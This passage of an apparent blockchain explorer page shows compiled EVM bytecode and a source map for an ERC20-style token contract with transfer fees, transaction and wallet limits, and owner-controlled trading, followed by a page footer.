811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610b1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b600080610b306000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b5f57506000546001600160a01b03858116911614155b8015610b7957506006546001600160a01b03858116911614155b15610eb8576015546001600160a01b038681169116148015610ba957506014546001600160a01b03858116911614155b8015610bce57506001600160a01b03841660009081526003602052604090205460ff16155b15610cff57601054831115610c255760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610464565b60115483610c48866001600160a01b031660009081526001602052604090205490565b610c5291906116b3565b1115610ca05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b610ccc6064610cc6600b54600e5411610cbb57600754610cbf565b6009545b869061107d565b90611106565b600e80549193506000610cde836116c6565b90915550506001600160a01b03841660009081526005602052604090204290555b6015546001600160a01b038581169116148015610d2557506001600160a01b0385163014155b15610e23576001600160a01b03851660009081526003602052604090205460ff1615610d68576001600160a01b0385166000908152600460205260409020606490555b6001600160a01b038516600090815260056020526040902054429003610dc1576001600160a01b038516600090815260046020526040902060019055600f54606490610db490856115fa565b610dbe91906116df565b91505b6001600160a01b038516600090815260046020526040902054610de56064856116df565b610def91906115fa565b9050610e166064610cc6600c54600e5411610e0c57600854610cbf565b600a54869061107d565b610e2090836116b3565b91505b30600090815260016020526040902054601554600160a81b900460ff16158015610e5a57506015546001600160a01b038681169116145b8015610e6f5750601554600160b01b900460ff165b8015610e7e5750600d54600e54115b15610eb657601254811115610eaa57610eaa610ea585610ea084601354611148565b611148565b61115d565b47610eb48161103f565b505b505b8115610f325730600090815260016020526040902054610ed890836112d7565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f299086815260200190565b60405180910390a35b610f5e610f3f8285611701565b6001600160a01b03871660009081526001602052604090205490611336565b6001600160a01b038616600090815260016020526040902055610fa3610f848484611378565b6001600160a01b038616600090815260016020526040902054906112d7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fed8686611336565b60405190815260200160405180910390a35050505050565b600081848411156110295760405162461bcd60e51b815260040161046491906113c8565b5060006110368486611701565b95945050505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611079573d6000803e3d6000fd5b5050565b60008260000361108f575060006103aa565b600061109b83856115fa565b9050826110a885836116df565b146110ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061139a565b600081831161115757826110ff565b50919050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111a5576111a5611714565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112229190611646565b8160018151811061123557611235611714565b6001600160a01b03928316602091820292909201015260145461125b9130911684610931565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061129490859060009086903090429060040161172a565b600060405180830381600087803b1580156112ae57600080fd5b505af11580156112c2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6000806112e483856116b3565b9050838110156110ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b60006110ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611005565b6000818311156113935761138c8284611701565b90506103aa565b5090919050565b600081836113bb5760405162461bcd60e51b815260040161046491906113c8565b50600061103684866116df565b600060208083528351808285015260005b818110156113f5578581018301518582016040015282016113d9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461142b57600080fd5b50565b6000806040838503121561144157600080fd5b823561144c81611416565b946020939093013593505050565b60008060006060848603121561146f57600080fd5b833561147a81611416565b9250602084013561148a81611416565b929592945050506040919091013590565b6000602082840312156114ad57600080fd5b81356110ff81611416565b600080604083850312156114cb57600080fd5b82356114d681611416565b915060208301356114e681611416565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611542578160001904821115611528576115286114f1565b8085161561153557918102915b93841c939080029061150c565b509250929050565b600082611559575060016103aa565b81611566575060006103aa565b816001811461157c5760028114611586576115a2565b60019150506103aa565b60ff841115611597576115976114f1565b50506001821b6103aa565b5060208310610133831016604e8410600b84101617156115c5575081810a6103aa565b6115cf8383611507565b80600019048211156115e3576115e36114f1565b029392505050565b60006110ff60ff84168361154a565b80820281158282048414176103aa576103aa6114f1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561165857600080fd5b81516110ff81611416565b60008060006060848603121561167857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156116a357600080fd5b815180151581146110ff57600080fd5b808201808211156103aa576103aa6114f1565b6000600182016116d8576116d86114f1565b5060010190565b6000826116fc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103aa576103aa6114f1565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561177a5784516001600160a01b031683529383019391830191600101611755565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220234d325e4f88f1beb78a2d1e8acc0c4f353f887f6438fdf2b751a06db8355b2f64736f6c63430008130033

Deployed Bytecode Sourcemap

3920:8478:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5830:83;;;;;;;;;;-1:-1:-1;5900:5:0;;;;;;;;;;;;-1:-1:-1;;;5900:5:0;;;;5830:83;;;;;;;:::i;:::-;;;;;;;;6736:193;;;;;;;;;;-1:-1:-1;6736:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6736:193:0;1023:187:1;5121:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5121:55:0;1215:177:1;6107:95:0;;;;;;;;;;;;;:::i;6937:446::-;;;;;;;;;;-1:-1:-1;6937:446:0;;;;;:::i;:::-;;:::i;6016:83::-;;;;;;;;;;-1:-1:-1;6016:83:0;;4736:2;2000:36:1;;1988:2;1973:18;6016:83:0;1858:184:1;6210:119:0;;;;;;;;;;-1:-1:-1;6210:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6303:18:0;6276:7;6303:18;;;:9;:18;;;;;;;6210:119;2872:148;;;;;;;;;;;;;:::i;:::-;;11266:119;;;;;;;;;;;;;:::i;4930:56::-;;;;;;;;;;;;;;;;2658:79;;;;;;;;;;-1:-1:-1;2696:7:0;2723:6;2658:79;;-1:-1:-1;;;;;2723:6:0;;;2445:51:1;;2433:2;2418:18;2658:79:0;2299:203:1;4993:58:0;;;;;;;;;;;;;;;;5921:87;;;;;;;;;;-1:-1:-1;5993:7:0;;;;;;;;;;;;-1:-1:-1;;;5993:7:0;;;;5921:87;;6337:199;;;;;;;;;;-1:-1:-1;6337:199:0;;;;;:::i;:::-;;:::i;5058:56::-;;;;;;;;;;;;;;;;11073:185;;;;;;;;;;-1:-1:-1;11073:185:0;;;;;:::i;:::-;;:::i;11493:865::-;;;;;;;;;;;;;:::i;6544:184::-;;;;;;;;;;-1:-1:-1;6544:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6693:18:0;;;6661:7;6693:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6544:184;6736:193;6838:4;6860:39;278:10;6883:7;6892:6;6860:8;:39::i;:::-;-1:-1:-1;6917:4:0;6736:193;;;;;:::o;6107:95::-;6160:7;4796:13;4736:2;4796;:13;:::i;:::-;4780:29;;:13;:29;:::i;:::-;6180:14;;6107:95;:::o;6937:446::-;7069:4;7086:36;7096:6;7104:9;7115:6;7086:9;:36::i;:::-;7133:220;7156:6;278:10;7204:138;7260:6;7204:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7204:19:0;;;;;;:11;:19;;;;;;;;278:10;7204:33;;;;;;;;;;:37;:138::i;:::-;7133:8;:220::i;:::-;-1:-1:-1;7371:4:0;6937:446;;;;;:::o;2872:148::-;2785:6;;-1:-1:-1;;;;;2785:6:0;278:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;;;;;;;;;2979:1:::1;2963:6:::0;;2942:40:::1;::::0;-1:-1:-1;;;;;2963:6:0;;::::1;::::0;2942:40:::1;::::0;2979:1;;2942:40:::1;3010:1;2993:19:::0;;-1:-1:-1;;;;;;2993:19:0::1;::::0;;2872:148::o;11266:119::-;2785:6;;-1:-1:-1;;;;;2785:6:0;278:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;4796:13:::1;4736:2;4796;:13;:::i;:::-;4780:29;::::0;:13:::1;:29;:::i;:::-;11320:12;:22:::0;4796:13:::1;4736:2;4796;:13;:::i;:::-;4780:29;::::0;:13:::1;:29;:::i;:::-;11353:14;:24:::0;11266:119::o;6337:199::-;6442:4;6464:42;278:10;6488:9;6499:6;6464:9;:42::i;11073:185::-;11162:10;;-1:-1:-1;;;;;11162:10:0;278;-1:-1:-1;;;;;11146:26:0;;11138:35;;;;;;11184;11197:21;11184:12;:35::i;:::-;11230:10;:20;;-1:-1:-1;;;;;;11230:20:0;-1:-1:-1;;;;;11230:20:0;;;;;;;;;;11073:185::o;11493:865::-;2785:6;;-1:-1:-1;;;;;2785:6:0;278:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;11555:11:::1;::::0;-1:-1:-1;;;11555:11:0;::::1;;;11554:12;11546:48;;;::::0;-1:-1:-1;;;11546:48:0;;5411:2:1;11546:48:0::1;::::0;::::1;5393:21:1::0;5450:2;5430:18;;;5423:30;5489:25;5469:18;;;5462:53;5532:18;;11546:48:0::1;5209:347:1::0;11546:48:0::1;11605:15;:104:::0;;-1:-1:-1;;;;;;11605:104:0::1;11656:42;11605:104:::0;;::::1;::::0;;;11720:58:::1;::::0;11737:4:::1;::::0;4796:13:::1;4736:2;4796;:13;:::i;:::-;4780:29;::::0;:13:::1;:29;:::i;11720:58::-;11823:15;;;;;;;;;-1:-1:-1::0;;;;;11823:15:0::1;-1:-1:-1::0;;;;;11823:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11805:55:0::1;;11883:4;11903:15;;;;;;;;;-1:-1:-1::0;;;;;11903:15:0::1;-1:-1:-1::0;;;;;11903:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11805:131;::::0;-1:-1:-1;;;;;;11805:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6047:15:1;;;11805:131:0::1;::::0;::::1;6029:34:1::0;6099:15;;6079:18;;;6072:43;5964:18;;11805:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11789:13;:147:::0;;-1:-1:-1;;;;;11789:147:0;;::::1;-1:-1:-1::0;;;;;;11789:147:0;;::::1;;::::0;;11947:15:::1;::::0;::::1;:31;11986:21;12031:4;12051:24;12031:4:::0;-1:-1:-1;;;;;6303:18:0;6276:7;6303:18;;;:9;:18;;;;;;;6210:119;12051:24:::1;12090:1;12106::::0;12122:7:::1;2696::::0;2723:6;-1:-1:-1;;;;;2723:6:0;;2658:79;12122:7:::1;11947:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11947:223:0;;;-1:-1:-1;;;;;6485:15:1;;;11947:223:0::1;::::0;::::1;6467:34:1::0;6517:18;;;6510:34;;;;6560:18;;;6553:34;;;;6603:18;;;6596:34;6667:15;;;6646:19;;;6639:44;12144:15:0::1;6699:19:1::0;;;6692:35;6401:19;;11947:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12188:13:0::1;::::0;12233:15:::1;::::0;12181:111:::1;::::0;-1:-1:-1;;;12181:111:0;;-1:-1:-1;;;;;12233:15:0;;::::1;12181:111;::::0;::::1;7223:51:1::0;-1:-1:-1;;7290:18:1;;;7283:34;12188:13:0;::::1;::::0;-1:-1:-1;12181:29:0::1;::::0;7196:18:1;;12181:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12303:11:0::1;:18:::0;;-1:-1:-1;;;;12332:18:0;-1:-1:-1;;;12332:18:0;;;11493:865::o;7391:369::-;-1:-1:-1;;;;;7518:19:0;;7510:68;;;;-1:-1:-1;;;7510:68:0;;7812:2:1;7510:68:0;;;7794:21:1;7851:2;7831:18;;;7824:30;7890:34;7870:18;;;7863:62;-1:-1:-1;;;7941:18:1;;;7934:34;7985:19;;7510:68:0;7610:400:1;7510:68:0;-1:-1:-1;;;;;7597:21:0;;7589:68;;;;-1:-1:-1;;;7589:68:0;;8217:2:1;7589:68:0;;;8199:21:1;8256:2;8236:18;;;8229:30;8295:34;8275:18;;;8268:62;-1:-1:-1;;;8346:18:1;;;8339:32;8388:19;;7589:68:0;8015:398:1;7589:68:0;-1:-1:-1;;;;;7668:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7720:32;;1361:25:1;;;7720:32:0;;1334:18:1;7720:32:0;;;;;;;7391:369;;;:::o;7768:2490::-;-1:-1:-1;;;;;7890:18:0;;7882:68;;;;-1:-1:-1;;;7882:68:0;;8620:2:1;7882:68:0;;;8602:21:1;8659:2;8639:18;;;8632:30;8698:34;8678:18;;;8671:62;-1:-1:-1;;;8749:18:1;;;8742:35;8794:19;;7882:68:0;8418:401:1;7882:68:0;-1:-1:-1;;;;;7969:16:0;;7961:64;;;;-1:-1:-1;;;7961:64:0;;9026:2:1;7961:64:0;;;9008:21:1;9065:2;9045:18;;;9038:30;9104:34;9084:18;;;9077:62;-1:-1:-1;;;9155:18:1;;;9148:33;9198:19;;7961:64:0;8824:399:1;7961:64:0;8112:17;8144:21;8194:7;2696;2723:6;-1:-1:-1;;;;;2723:6:0;;2658:79;8194:7;-1:-1:-1;;;;;8186:15:0;:4;-1:-1:-1;;;;;8186:15:0;;;:32;;;;-1:-1:-1;2696:7:0;2723:6;-1:-1:-1;;;;;8205:13:0;;;2723:6;;8205:13;;8186:32;:52;;;;-1:-1:-1;8228:10:0;;-1:-1:-1;;;;;8222:16:0;;;8228:10;;8222:16;;8186:52;8182:1681;;;8285:13;;-1:-1:-1;;;;;8277:21:0;;;8285:13;;8277:21;:72;;;;-1:-1:-1;8333:15:0;;-1:-1:-1;;;;;8319:30:0;;;8333:15;;8319:30;;8277:72;:116;;;;-1:-1:-1;;;;;;8371:22:0;;;;;;:18;:22;;;;;;;;8370:23;8277:116;8255:537;;;8446:12;;8436:6;:22;;8428:60;;;;-1:-1:-1;;;8428:60:0;;9840:2:1;8428:60:0;;;9822:21:1;9879:2;9859:18;;;9852:30;9918:27;9898:18;;;9891:55;9963:18;;8428:60:0;9638:349:1;8428:60:0;8541:14;;8531:6;8515:13;8525:2;-1:-1:-1;;;;;6303:18:0;6276:7;6303:18;;;:9;:18;;;;;;;6210:119;8515:13;:22;;;;:::i;:::-;:40;;8507:79;;;;-1:-1:-1;;;8507:79:0;;10324:2:1;8507:79:0;;;10306:21:1;10363:2;10343:18;;;10336:30;10402:28;10382:18;;;10375:56;10448:18;;8507:79:0;10122:350:1;8507:79:0;8617:80;8693:3;8617:71;8641:15;;8629:9;;:27;8628:59;;8673:14;;8628:59;;;8659:12;;8628:59;8617:6;;:10;:71::i;:::-;:75;;:80::i;:::-;8716:9;:11;;8605:92;;-1:-1:-1;8716:9:0;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8746:12:0;;;;;;:8;:12;;;;;8761:15;8746:30;;8255:537;8818:13;;-1:-1:-1;;;;;8812:19:0;;;8818:13;;8812:19;:44;;;;-1:-1:-1;;;;;;8835:21:0;;8851:4;8835:21;;8812:44;8808:496;;;-1:-1:-1;;;;;8881:24:0;;;;;;:18;:24;;;;;;;;8877:48;;;-1:-1:-1;;;;;8908:11:0;;;;;;:5;:11;;;;;8922:3;8908:17;;8877:48;-1:-1:-1;;;;;8948:14:0;;;;;;:8;:14;;;;;;8966:15;8948:33;;8944:157;;-1:-1:-1;;;;;9006:11:0;;;;;;:5;:11;;;;;9020:1;9006:15;;9065:10;;9078:3;;9056:19;;:6;:19;:::i;:::-;:25;;;;:::i;:::-;9044:37;;8944:157;-1:-1:-1;;;;;9150:11:0;;;;;;:5;:11;;;;;;9135:12;9144:3;9135:6;:12;:::i;:::-;:26;;;;:::i;:::-;9119:42;;9205:83;9284:3;9205:74;9229:16;;9217:9;;:28;9216:62;;9263:15;;9216:62;;;9248:13;;9205:6;;:10;:74::i;:83::-;9192:96;;;;:::i;:::-;;;8808:496;9369:4;9320:28;6303:18;;;:9;:18;;;;;;9413:6;;-1:-1:-1;;;9413:6:0;;;;9412:7;:47;;;;-1:-1:-1;9446:13:0;;-1:-1:-1;;;;;9440:19:0;;;9446:13;;9440:19;9412:47;:79;;;;-1:-1:-1;9480:11:0;;-1:-1:-1;;;9480:11:0;;;;9412:79;:130;;;;;9524:18;;9512:9;;:30;9412:130;9390:462;;;9604:17;;9581:20;:40;9577:139;;;9644:72;9663:51;9667:6;9675:38;9679:20;9701:11;;9675:3;:38::i;:::-;9663:3;:51::i;:::-;9644:16;:72::i;:::-;9764:21;9804:32;9764:21;9804:12;:32::i;:::-;9558:294;9390:462;8240:1623;8182:1681;9879:13;;9875:172;;9954:4;9936:24;;;;:9;:24;;;;;;:39;;9965:9;9936:28;:39::i;:::-;9927:4;9909:24;;;;:9;:24;;;;;;;:66;;;;9995:40;;-1:-1:-1;;;;;9995:40:0;;;;;;;10025:9;1361:25:1;;1349:2;1334:18;;1215:177;9995:40:0;;;;;;;;9875:172;10077:43;10097:22;10106:13;10097:6;:22;:::i;:::-;-1:-1:-1;;;;;10077:15:0;;;;;;:9;:15;;;;;;;:19;:43::i;:::-;-1:-1:-1;;;;;10059:15:0;;;;;;:9;:15;;;;;:61;10147:46;10165:27;10174:6;10182:9;10165:8;:27::i;:::-;-1:-1:-1;;;;;10147:13:0;;;;;;:9;:13;;;;;;;:17;:46::i;:::-;-1:-1:-1;;;;;10131:13:0;;;;;;;:9;:13;;;;;:62;;;;10209:41;;;10228:21;:6;10239:9;10228:10;:21::i;:::-;10209:41;;1361:25:1;;;1349:2;1334:18;10209:41:0;;;;;;;7871:2387;;7768:2490;;;:::o;1460:224::-;1580:7;1616:12;1608:6;;;;1600:29;;;;-1:-1:-1;;;1600:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1640:9:0;1652:5;1656:1;1652;:5;:::i;:::-;1640:17;1460:224;-1:-1:-1;;;;;1460:224:0:o;11393:92::-;11450:10;;:27;;-1:-1:-1;;;;;11450:10:0;;;;:27;;;;;11470:6;;11450:10;:27;:10;:27;11470:6;11450:10;:27;;;;;;;;;;;;;;;;;;;;;11393:92;:::o;1692:246::-;1750:7;1774:1;1779;1774:6;1770:47;;-1:-1:-1;1804:1:0;1797:8;;1770:47;1827:9;1839:5;1843:1;1839;:5;:::i;:::-;1827:17;-1:-1:-1;1872:1:0;1863:5;1867:1;1827:17;1863:5;:::i;:::-;:10;1855:56;;;;-1:-1:-1;;;1855:56:0;;11174:2:1;1855:56:0;;;11156:21:1;11213:2;11193:18;;;11186:30;11252:34;11232:18;;;11225:62;-1:-1:-1;;;11303:18:1;;;11296:31;11344:19;;1855:56:0;10972:397:1;1855:56:0;1929:1;1692:246;-1:-1:-1;;;1692:246:0:o;1946:132::-;2004:7;2031:39;2035:1;2038;2031:39;;;;;;;;;;;;;;;;;:3;:39::i;10467:107::-;10524:7;10556:1;10552;:5;10551:15;;10565:1;10551:15;;;-1:-1:-1;10561:1:0;10467:107;-1:-1:-1;10467:107:0:o;10582:483::-;5410:6;:13;;-1:-1:-1;;;;5410:13:0;-1:-1:-1;;;5410:13:0;;;10684:16:::1;::::0;;10698:1:::1;10684:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10684:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10684:16:0::1;10660:40;;10729:4;10711;10716:1;10711:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10711:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10755:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10755:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10711:7;;10755:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10745:4;10750:1;10745:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10745:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10820:15:::1;::::0;10788:62:::1;::::0;10805:4:::1;::::0;10820:15:::1;10838:11:::0;10788:8:::1;:62::i;:::-;10861:15;::::0;:196:::1;::::0;-1:-1:-1;;;10861:196:0;;-1:-1:-1;;;;;10861:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10942:11;;10861:15:::1;::::0;10984:4;;11011::::1;::::0;11031:15:::1;::::0;10861:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5446:6:0;:14;;-1:-1:-1;;;;5446:14:0;;;-1:-1:-1;;;;10582:483:0:o;1129:179::-;1187:7;;1219:5;1223:1;1219;:5;:::i;:::-;1207:17;;1248:1;1243;:6;;1235:46;;;;-1:-1:-1;;;1235:46:0;;12825:2:1;1235:46:0;;;12807:21:1;12864:2;12844:18;;;12837:30;12903:29;12883:18;;;12876:57;12950:18;;1235:46:0;12623:351:1;1316:136:0;1374:7;1401:43;1405:1;1408;1401:43;;;;;;;;;;;;;;;;;:3;:43::i;10266:193::-;10363:7;10401:4;10392:6;:13;10388:39;;;10414:13;10423:4;10414:6;:13;:::i;:::-;10407:20;;;;10388:39;-1:-1:-1;10445:6:0;;10266:193;-1:-1:-1;10266:193:0:o;2086:223::-;2206:7;2241:12;2234:5;2226:28;;;;-1:-1:-1;;;2226:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2265:9:0;2277:5;2281:1;2277;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:127::-;3221:10;3216:3;3212:20;3209:1;3202:31;3252:4;3249:1;3242:15;3276:4;3273:1;3266:15;3292:422;3381:1;3424:5;3381:1;3438:270;3459:7;3449:8;3446:21;3438:270;;;3518:4;3514:1;3510:6;3506:17;3500:4;3497:27;3494:53;;;3527:18;;:::i;:::-;3577:7;3567:8;3563:22;3560:55;;;3597:16;;;;3560:55;3676:22;;;;3636:15;;;;3438:270;;;3442:3;3292:422;;;;;:::o;3719:806::-;3768:5;3798:8;3788:80;;-1:-1:-1;3839:1:1;3853:5;;3788:80;3887:4;3877:76;;-1:-1:-1;3924:1:1;3938:5;;3877:76;3969:4;3987:1;3982:59;;;;4055:1;4050:130;;;;3962:218;;3982:59;4012:1;4003:10;;4026:5;;;4050:130;4087:3;4077:8;4074:17;4071:43;;;4094:18;;:::i;:::-;-1:-1:-1;;4150:1:1;4136:16;;4165:5;;3962:218;;4264:2;4254:8;4251:16;4245:3;4239:4;4236:13;4232:36;4226:2;4216:8;4213:16;4208:2;4202:4;4199:12;4195:35;4192:77;4189:159;;;-1:-1:-1;4301:19:1;;;4333:5;;4189:159;4380:34;4405:8;4399:4;4380:34;:::i;:::-;4450:6;4446:1;4442:6;4438:19;4429:7;4426:32;4423:58;;;4461:18;;:::i;:::-;4499:20;;3719:806;-1:-1:-1;;;3719:806:1:o;4530:140::-;4588:5;4617:47;4658:4;4648:8;4644:19;4638:4;4617:47;:::i;4675:168::-;4748:9;;;4779;;4796:15;;;4790:22;;4776:37;4766:71;;4817:18;;:::i;4848:356::-;5050:2;5032:21;;;5069:18;;;5062:30;5128:34;5123:2;5108:18;;5101:62;5195:2;5180:18;;4848:356::o;5561:251::-;5631:6;5684:2;5672:9;5663:7;5659:23;5655:32;5652:52;;;5700:1;5697;5690:12;5652:52;5732:9;5726:16;5751:31;5776:5;5751:31;:::i;6738:306::-;6826:6;6834;6842;6895:2;6883:9;6874:7;6870:23;6866:32;6863:52;;;6911:1;6908;6901:12;6863:52;6940:9;6934:16;6924:26;;6990:2;6979:9;6975:18;6969:25;6959:35;;7034:2;7023:9;7019:18;7013:25;7003:35;;6738:306;;;;;:::o;7328:277::-;7395:6;7448:2;7436:9;7427:7;7423:23;7419:32;7416:52;;;7464:1;7461;7454:12;7416:52;7496:9;7490:16;7549:5;7542:13;7535:21;7528:5;7525:32;7515:60;;7571:1;7568;7561:12;9992:125;10057:9;;;10078:10;;;10075:36;;;10091:18;;:::i;10477:135::-;10516:3;10537:17;;;10534:43;;10557:18;;:::i;:::-;-1:-1:-1;10604:1:1;10593:13;;10477:135::o;10617:217::-;10657:1;10683;10673:132;;10727:10;10722:3;10718:20;10715:1;10708:31;10762:4;10759:1;10752:15;10790:4;10787:1;10780:15;10673:132;-1:-1:-1;10819:9:1;;10617:217::o;10839:128::-;10906:9;;;10927:11;;;10924:37;;;10941:18;;:::i;11506:127::-;11567:10;11562:3;11558:20;11555:1;11548:31;11598:4;11595:1;11588:15;11622:4;11619:1;11612:15;11638:980;11900:4;11948:3;11937:9;11933:19;11979:6;11968:9;11961:25;12005:2;12043:6;12038:2;12027:9;12023:18;12016:34;12086:3;12081:2;12070:9;12066:18;12059:31;12110:6;12145;12139:13;12176:6;12168;12161:22;12214:3;12203:9;12199:19;12192:26;;12253:2;12245:6;12241:15;12227:29;;12274:1;12284:195;12298:6;12295:1;12292:13;12284:195;;;12363:13;;-1:-1:-1;;;;;12359:39:1;12347:52;;12454:15;;;;12419:12;;;;12395:1;12313:9;12284:195;;;-1:-1:-1;;;;;;;12535:32:1;;;;12530:2;12515:18;;12508:60;-1:-1:-1;;;12599:3:1;12584:19;12577:35;12496:3;11638:980;-1:-1:-1;;;11638:980:1:o

Swarm Source

ipfs://234d325e4f88f1beb78a2d1e8acc0c4f353f887f6438fdf2b751a06db8355b2f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.